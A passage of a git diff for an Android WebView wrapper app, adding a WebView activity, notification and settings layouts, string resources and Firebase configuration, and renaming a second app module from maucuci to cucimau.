+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ } else {
+
+ if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) {
+ return false;
+ } else {
+ if (url1.contains(".apk")) { //下载
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url1));
+ startActivity(intent);
+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return false;
+ }
+ //其它的该怎么处理就怎么处理
+ webView.loadUrl(url1);
+ return false;
+ }
+
+ }
+
+ return false;
+ }
+
+
+ });
+ webView.setOnGenericMotionListener(new View.OnGenericMotionListener() {
+ @Override
+ public boolean onGenericMotion(View view, MotionEvent motionEvent) {
+ return false;
+ }
+ });
+
+ if (url != null) {
+ webView.loadUrl(url);
+ }
+ }
+
+
+ @RequiresApi(api = Build.VERSION_CODES.Q)
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ switch (requestCode) {
+ case REQUEST_CODE_FILE_CHOOSER:
+ if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) {
+ afterFileChooseGoing(resultCode, data);
+ }
+ break;
+
+
+ }
+ }
+
+
+ /**
+ * onActivityResult方法
+ */
+
+ private void afterFileChooseGoing(int resultCode, Intent data) {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+ if (mUploadCallbackForHighApi == null) {
+ return;
+ }
+ mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data));
+ mUploadCallbackForHighApi = null;
+ } else {
+ if (mUploadCallbackForLowApi == null) {
+ return;
+ }
+ Uri result = data == null ? null : data.getData();
+ mUploadCallbackForLowApi.onReceiveValue(result);
+ mUploadCallbackForLowApi = null;
+ }
+ }
+
+ private Intent getFilerChooserIntent() {
+ Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+ intent.addCategory(Intent.CATEGORY_OPENABLE);
+ return intent;
+ }
+
+
+ private static final int REQUEST_CODE_FILE_CHOOSER = 1;
+ private ValueCallback mUploadCallbackForLowApi;
+ private boolean isNetError = false;
+
+ public void onShowErrorView(String errorMsg) { //网络不可用的情况
+ topVvvv.setVisibility(View.VISIBLE);
+ webView.setVisibility(View.GONE);
+ layoutError.setVisibility(View.VISIBLE);
+ tvErrorMsg.setText(errorMsg);
+ showTopLy.setVisibility(View.GONE);
+ isNetError = true;
+
+ }
+
+ public void onShowNetView() {
+ topVvvv.setVisibility(View.VISIBLE);
+ webView.setVisibility(View.VISIBLE);
+ layoutError.setVisibility(View.GONE);
+ showTopLy.setVisibility(View.GONE);
+ isNetError = false;
+ }
+
+
+ @Override
+ public void onBackPressed() {
+ if (webView.canGoBack()) {//当webview有多级能返回的时候
+ onShowNetView();
+ webView.goBack();
+ } else {//不能返回了
+ WebViewActivity.this.finish();
+ }
+ }
+
+ @Override
+ protected void onDestroy() {
+ if (webView != null) {
+ //销毁VebView
+ webView.destroy();
+ }
+ super.onDestroy();
+ }
+}
diff --git a/market/src/main/res/drawable-anydpi/ic_action_back.xml b/market/src/main/res/drawable-anydpi/ic_action_back.xml
new file mode 100644
index 0000000..013ab07
--- /dev/null
+++ b/market/src/main/res/drawable-anydpi/ic_action_back.xml
@@ -0,0 +1,11 @@
+
+
+
diff --git a/market/src/main/res/drawable-hdpi/ic_action_back.png b/market/src/main/res/drawable-hdpi/ic_action_back.png
new file mode 100644
index 0000000..1560c04
Binary files /dev/null and b/market/src/main/res/drawable-hdpi/ic_action_back.png differ
diff --git a/market/src/main/res/drawable-mdpi/ic_action_back.png b/market/src/main/res/drawable-mdpi/ic_action_back.png
new file mode 100644
index 0000000..d5841d2
Binary files /dev/null and b/market/src/main/res/drawable-mdpi/ic_action_back.png differ
diff --git a/market/src/main/res/drawable-v24/ic_launcher_foreground.xml b/market/src/main/res/drawable-v24/ic_launcher_foreground.xml
new file mode 100644
index 0000000..2b068d1
--- /dev/null
+++ b/market/src/main/res/drawable-v24/ic_launcher_foreground.xml
@@ -0,0 +1,30 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/drawable-xhdpi/ic_action_back.png b/market/src/main/res/drawable-xhdpi/ic_action_back.png
new file mode 100644
index 0000000..5c14e41
Binary files /dev/null and b/market/src/main/res/drawable-xhdpi/ic_action_back.png differ
diff --git a/market/src/main/res/drawable-xxhdpi/ic_action_back.png b/market/src/main/res/drawable-xxhdpi/ic_action_back.png
new file mode 100644
index 0000000..0516d08
Binary files /dev/null and b/market/src/main/res/drawable-xxhdpi/ic_action_back.png differ
diff --git a/market/src/main/res/drawable/big_bg.xml b/market/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/market/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/drawable/input_bg.xml b/market/src/main/res/drawable/input_bg.xml
new file mode 100644
index 0000000..4e895aa
--- /dev/null
+++ b/market/src/main/res/drawable/input_bg.xml
@@ -0,0 +1,20 @@
+
+
+ -
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
diff --git a/market/src/main/res/drawable/input_bg1.xml b/market/src/main/res/drawable/input_bg1.xml
new file mode 100644
index 0000000..12afded
--- /dev/null
+++ b/market/src/main/res/drawable/input_bg1.xml
@@ -0,0 +1,20 @@
+
+
+ -
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
diff --git a/market/src/main/res/drawable/pass_word_bg1.xml b/market/src/main/res/drawable/pass_word_bg1.xml
new file mode 100644
index 0000000..83b8c14
--- /dev/null
+++ b/market/src/main/res/drawable/pass_word_bg1.xml
@@ -0,0 +1,23 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/drawable/pass_word_bg2.xml b/market/src/main/res/drawable/pass_word_bg2.xml
new file mode 100644
index 0000000..916d99c
--- /dev/null
+++ b/market/src/main/res/drawable/pass_word_bg2.xml
@@ -0,0 +1,23 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/drawable/shape_btn_bg.xml b/market/src/main/res/drawable/shape_btn_bg.xml
new file mode 100644
index 0000000..af87a0d
--- /dev/null
+++ b/market/src/main/res/drawable/shape_btn_bg.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/drawable/shape_dialog_bg.xml b/market/src/main/res/drawable/shape_dialog_bg.xml
new file mode 100644
index 0000000..bf38fd8
--- /dev/null
+++ b/market/src/main/res/drawable/shape_dialog_bg.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/drawable/shape_dialog_bg3.xml b/market/src/main/res/drawable/shape_dialog_bg3.xml
new file mode 100644
index 0000000..ca0a18d
--- /dev/null
+++ b/market/src/main/res/drawable/shape_dialog_bg3.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/drawable/shape_notify_typebg.xml b/market/src/main/res/drawable/shape_notify_typebg.xml
new file mode 100644
index 0000000..bec715b
--- /dev/null
+++ b/market/src/main/res/drawable/shape_notify_typebg.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/layout/activity_home.xml b/market/src/main/res/layout/activity_home.xml
new file mode 100644
index 0000000..eceb7fa
--- /dev/null
+++ b/market/src/main/res/layout/activity_home.xml
@@ -0,0 +1,41 @@
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/market/src/main/res/layout/activity_main2.xml b/market/src/main/res/layout/activity_main2.xml
new file mode 100644
index 0000000..f191b2f
--- /dev/null
+++ b/market/src/main/res/layout/activity_main2.xml
@@ -0,0 +1,414 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/market/src/main/res/layout/activity_notifylist.xml b/market/src/main/res/layout/activity_notifylist.xml
new file mode 100644
index 0000000..b1939ba
--- /dev/null
+++ b/market/src/main/res/layout/activity_notifylist.xml
@@ -0,0 +1,53 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/market/src/main/res/layout/activity_setting.xml b/market/src/main/res/layout/activity_setting.xml
new file mode 100644
index 0000000..a260e02
--- /dev/null
+++ b/market/src/main/res/layout/activity_setting.xml
@@ -0,0 +1,100 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/market/src/main/res/layout/activity_start.xml b/market/src/main/res/layout/activity_start.xml
new file mode 100644
index 0000000..1ee4744
--- /dev/null
+++ b/market/src/main/res/layout/activity_start.xml
@@ -0,0 +1,55 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/market/src/main/res/layout/dialog_action_confirm.xml b/market/src/main/res/layout/dialog_action_confirm.xml
new file mode 100644
index 0000000..1c67709
--- /dev/null
+++ b/market/src/main/res/layout/dialog_action_confirm.xml
@@ -0,0 +1,71 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/layout/dialog_bind_butler.xml b/market/src/main/res/layout/dialog_bind_butler.xml
new file mode 100644
index 0000000..ebee6ae
--- /dev/null
+++ b/market/src/main/res/layout/dialog_bind_butler.xml
@@ -0,0 +1,78 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/layout/item_notify_list.xml b/market/src/main/res/layout/item_notify_list.xml
new file mode 100644
index 0000000..8b74497
--- /dev/null
+++ b/market/src/main/res/layout/item_notify_list.xml
@@ -0,0 +1,176 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/market/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
new file mode 100644
index 0000000..036d09b
--- /dev/null
+++ b/market/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/market/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
new file mode 100644
index 0000000..036d09b
--- /dev/null
+++ b/market/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/mipmap-hdpi/ic_empty.png b/market/src/main/res/mipmap-hdpi/ic_empty.png
new file mode 100644
index 0000000..72473d6
Binary files /dev/null and b/market/src/main/res/mipmap-hdpi/ic_empty.png differ
diff --git a/market/src/main/res/mipmap-hdpi/ic_launcher.webp b/market/src/main/res/mipmap-hdpi/ic_launcher.webp
new file mode 100644
index 0000000..7a2d2a6
Binary files /dev/null and b/market/src/main/res/mipmap-hdpi/ic_launcher.webp differ
diff --git a/market/src/main/res/mipmap-hdpi/ic_launcher_foreground.webp b/market/src/main/res/mipmap-hdpi/ic_launcher_foreground.webp
new file mode 100644
index 0000000..3056273
Binary files /dev/null and b/market/src/main/res/mipmap-hdpi/ic_launcher_foreground.webp differ
diff --git a/market/src/main/res/mipmap-hdpi/ic_launcher_round.webp b/market/src/main/res/mipmap-hdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..e58bc72
Binary files /dev/null and b/market/src/main/res/mipmap-hdpi/ic_launcher_round.webp differ
diff --git a/market/src/main/res/mipmap-hdpi/ic_pull_down.png b/market/src/main/res/mipmap-hdpi/ic_pull_down.png
new file mode 100644
index 0000000..7dc0ec3
Binary files /dev/null and b/market/src/main/res/mipmap-hdpi/ic_pull_down.png differ
diff --git a/market/src/main/res/mipmap-mdpi/ic_launcher.webp b/market/src/main/res/mipmap-mdpi/ic_launcher.webp
new file mode 100644
index 0000000..b6162ea
Binary files /dev/null and b/market/src/main/res/mipmap-mdpi/ic_launcher.webp differ
diff --git a/market/src/main/res/mipmap-mdpi/ic_launcher_foreground.webp b/market/src/main/res/mipmap-mdpi/ic_launcher_foreground.webp
new file mode 100644
index 0000000..becdf8f
Binary files /dev/null and b/market/src/main/res/mipmap-mdpi/ic_launcher_foreground.webp differ
diff --git a/market/src/main/res/mipmap-mdpi/ic_launcher_round.webp b/market/src/main/res/mipmap-mdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..8478734
Binary files /dev/null and b/market/src/main/res/mipmap-mdpi/ic_launcher_round.webp differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_close.png b/market/src/main/res/mipmap-xhdpi/ic_close.png
new file mode 100644
index 0000000..c0b0127
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_close.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_email.png b/market/src/main/res/mipmap-xhdpi/ic_email.png
new file mode 100644
index 0000000..9fc3a42
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_email.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_email1.png b/market/src/main/res/mipmap-xhdpi/ic_email1.png
new file mode 100644
index 0000000..9fc3a42
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_email1.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_facebook.png b/market/src/main/res/mipmap-xhdpi/ic_facebook.png
new file mode 100644
index 0000000..de378dc
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_facebook.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_hometo.png b/market/src/main/res/mipmap-xhdpi/ic_hometo.png
new file mode 100644
index 0000000..4e93043
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_hometo.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_launcher.webp b/market/src/main/res/mipmap-xhdpi/ic_launcher.webp
new file mode 100644
index 0000000..e3a1edb
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_launcher.webp differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_launcher_foreground.webp b/market/src/main/res/mipmap-xhdpi/ic_launcher_foreground.webp
new file mode 100644
index 0000000..9cfb311
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_launcher_foreground.webp differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_launcher_round.webp b/market/src/main/res/mipmap-xhdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..bc94a62
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_launcher_round.webp differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_link.png b/market/src/main/res/mipmap-xhdpi/ic_link.png
new file mode 100644
index 0000000..2f98612
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_link.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_menu.png b/market/src/main/res/mipmap-xhdpi/ic_menu.png
new file mode 100644
index 0000000..2b55ec5
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_menu.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_notify_email.png b/market/src/main/res/mipmap-xhdpi/ic_notify_email.png
new file mode 100644
index 0000000..5a2df8e
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_notify_email.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/market/src/main/res/mipmap-xhdpi/ic_notify_normal.png
new file mode 100644
index 0000000..f056d32
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/market/src/main/res/mipmap-xhdpi/ic_notify_shangla.png
new file mode 100644
index 0000000..eb1d3e9
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/market/src/main/res/mipmap-xhdpi/ic_notify_xiala.png
new file mode 100644
index 0000000..7999f63
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/market/src/main/res/mipmap-xhdpi/ic_notifylogo.png
new file mode 100644
index 0000000..b975e45
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_notifylogo_img.png b/market/src/main/res/mipmap-xhdpi/ic_notifylogo_img.png
new file mode 100644
index 0000000..e78b250
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_notifylogo_img.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_notifylogo_link.png b/market/src/main/res/mipmap-xhdpi/ic_notifylogo_link.png
new file mode 100644
index 0000000..3d09922
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_notifylogo_link.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_shousuo.png b/market/src/main/res/mipmap-xhdpi/ic_shousuo.png
new file mode 100644
index 0000000..16b38be
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_shousuo.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_tel.png b/market/src/main/res/mipmap-xhdpi/ic_tel.png
new file mode 100644
index 0000000..df82270
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_tel.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/market/src/main/res/mipmap-xhdpi/ic_whatsapp.png
new file mode 100644
index 0000000..7ca41ed
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ
diff --git a/market/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/market/src/main/res/mipmap-xhdpi/ic_zhangkai.png
new file mode 100644
index 0000000..bdc84b3
Binary files /dev/null and b/market/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ
diff --git a/market/src/main/res/mipmap-xxhdpi/ic_launcher.webp b/market/src/main/res/mipmap-xxhdpi/ic_launcher.webp
new file mode 100644
index 0000000..4fa961a
Binary files /dev/null and b/market/src/main/res/mipmap-xxhdpi/ic_launcher.webp differ
diff --git a/market/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.webp b/market/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.webp
new file mode 100644
index 0000000..5e7b19a
Binary files /dev/null and b/market/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.webp differ
diff --git a/market/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp b/market/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..2ce52cb
Binary files /dev/null and b/market/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp differ
diff --git a/market/src/main/res/mipmap-xxhdpi/look_img.png b/market/src/main/res/mipmap-xxhdpi/look_img.png
new file mode 100644
index 0000000..bb76ba1
Binary files /dev/null and b/market/src/main/res/mipmap-xxhdpi/look_img.png differ
diff --git a/market/src/main/res/mipmap-xxhdpi/setting_img.png b/market/src/main/res/mipmap-xxhdpi/setting_img.png
new file mode 100644
index 0000000..53ab85b
Binary files /dev/null and b/market/src/main/res/mipmap-xxhdpi/setting_img.png differ
diff --git a/market/src/main/res/mipmap-xxhdpi/share_img.png b/market/src/main/res/mipmap-xxhdpi/share_img.png
new file mode 100644
index 0000000..203b4b7
Binary files /dev/null and b/market/src/main/res/mipmap-xxhdpi/share_img.png differ
diff --git a/market/src/main/res/mipmap-xxxhdpi/ic_launcher.webp b/market/src/main/res/mipmap-xxxhdpi/ic_launcher.webp
new file mode 100644
index 0000000..2afe8d1
Binary files /dev/null and b/market/src/main/res/mipmap-xxxhdpi/ic_launcher.webp differ
diff --git a/market/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.webp b/market/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.webp
new file mode 100644
index 0000000..1d81d20
Binary files /dev/null and b/market/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.webp differ
diff --git a/market/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp b/market/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..2904405
Binary files /dev/null and b/market/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp differ
diff --git a/market/src/main/res/values-en/strings.xml b/market/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..5b4d327
--- /dev/null
+++ b/market/src/main/res/values-en/strings.xml
@@ -0,0 +1,19 @@
+
+ Cancel
+ Sure
+
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+
+ NOTIFICATIONS
+ Loading…
+ Text
+ Image
+ Jump link
+ Home
+ Version
+ Butler ID
+ Input Manager ID
+ The butler does not exist.
+
\ No newline at end of file
diff --git a/market/src/main/res/values-night/themes.xml b/market/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..983f219
--- /dev/null
+++ b/market/src/main/res/values-night/themes.xml
@@ -0,0 +1,64 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/values/app_config.xml b/market/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..3778c01
--- /dev/null
+++ b/market/src/main/res/values/app_config.xml
@@ -0,0 +1,23 @@
+
+
+
+
+ PROPERTY
+
+ 0
+
+ https://1xaud.com/
+
+ https://www.deepseek.com/
+
+
+ 0
+
+ 1
+
+
+
+ #FFFFFF
+
+ #FFFFFF
+
\ No newline at end of file
diff --git a/market/src/main/res/values/colors.xml b/market/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4a77a8
--- /dev/null
+++ b/market/src/main/res/values/colors.xml
@@ -0,0 +1,23 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #FFFFFFFF
+
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+ #EEEEEE
+
+ #ACDFEE
+ #BDDDB7
+ #C3B5D0
+
+
\ No newline at end of file
diff --git a/market/src/main/res/values/ic_launcher_background.xml b/market/src/main/res/values/ic_launcher_background.xml
new file mode 100644
index 0000000..b15a8af
--- /dev/null
+++ b/market/src/main/res/values/ic_launcher_background.xml
@@ -0,0 +1,4 @@
+
+
+ #1A1A1A
+
\ No newline at end of file
diff --git a/market/src/main/res/values/strings.xml b/market/src/main/res/values/strings.xml
new file mode 100644
index 0000000..13551b3
--- /dev/null
+++ b/market/src/main/res/values/strings.xml
@@ -0,0 +1,18 @@
+
+ 取消
+ 确定
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 通知
+ Loading…
+ 文本
+ 图片
+ 链接
+ 首页
+ 当前版本
+ 管家ID
+ 请输入管家ID
+ 管家不存在绑定失败
+
+
\ No newline at end of file
diff --git a/market/src/main/res/values/themes.xml b/market/src/main/res/values/themes.xml
new file mode 100644
index 0000000..09ba2c5
--- /dev/null
+++ b/market/src/main/res/values/themes.xml
@@ -0,0 +1,94 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/xml/app_updater_paths.xml b/market/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/market/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/xml/network_security_config.xml b/market/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/market/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/res/xml/provider_paths.xml b/market/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/market/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/market/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/market/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/maucuci/build.gradle b/maucuci/build.gradle
index 423c8cb..43c0a3e 100644
--- a/maucuci/build.gradle
+++ b/maucuci/build.gradle
@@ -7,7 +7,7 @@ android {
compileSdkVersion 31
buildToolsVersion "30.0.3"
defaultConfig {
- applicationId "com.xyz.maucuci"
+ applicationId "com.xyz.cucimau"
minSdkVersion 24
targetSdkVersion 31
versionCode rootProject.ext.versionCode
@@ -44,7 +44,7 @@ android {
applicationVariants.all { variant ->
variant.outputs.all {
- def appName = "maucuci"
+ def appName = "maujkdjgnnnnnnnnn"
def outputDir = new File(rootProject.ext.outputPath)
// 创建输出目录
outputDir.mkdirs()
diff --git a/maucuci/google-services.json b/maucuci/google-services.json
index 54fd16a..7412adf 100644
--- a/maucuci/google-services.json
+++ b/maucuci/google-services.json
@@ -1,21 +1,21 @@
{
"project_info": {
- "project_number": "1060218410128",
- "project_id": "maucuci-9651c",
- "storage_bucket": "maucuci-9651c.firebasestorage.app"
+ "project_number": "501044900611",
+ "project_id": "cucimau-ebeb8",
+ "storage_bucket": "cucimau-ebeb8.firebasestorage.app"
},
"client": [
{
"client_info": {
- "mobilesdk_app_id": "1:1060218410128:android:0b8a700289378d4dba7415",
+ "mobilesdk_app_id": "1:501044900611:android:e1c6f00b279a3c8a886f36",
"android_client_info": {
- "package_name": "com.xyz.maucuci"
+ "package_name": "com.xyz.cucimau"
}
},
"oauth_client": [],
"api_key": [
{
- "current_key": "AIzaSyBb107_oeQFeofrtoa70tN80ukITSHgSrg"
+ "current_key": "AIzaSyDay-Q14sW46OGZeTUVgLtLfaladd9l5mc"
}
],
"services": {
diff --git a/maucuci/src/main/AndroidManifest.xml b/maucuci/src/main/AndroidManifest.xml
index 02e1ac9..cc69d89 100644
--- a/maucuci/src/main/AndroidManifest.xml
+++ b/maucuci/src/main/AndroidManifest.xml
@@ -1,6 +1,6 @@
+ package="com.xyz.cucimau">
{
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+ setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ userId = Integer.parseInt(getString(R.string.userId));
+ saveInt(MainActivity.this,"user_code",userId);
+ saveInt(MainActivity.this,"version_code",getVersion());
+ saveString(this, "base_url",getString(R.string.base_url));
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/maucuci/src/main/java/com/xyz/cucimau/MyFirebaseMessageingService.java b/maucuci/src/main/java/com/xyz/cucimau/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..8b812cd
--- /dev/null
+++ b/maucuci/src/main/java/com/xyz/cucimau/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.cucimau;
+
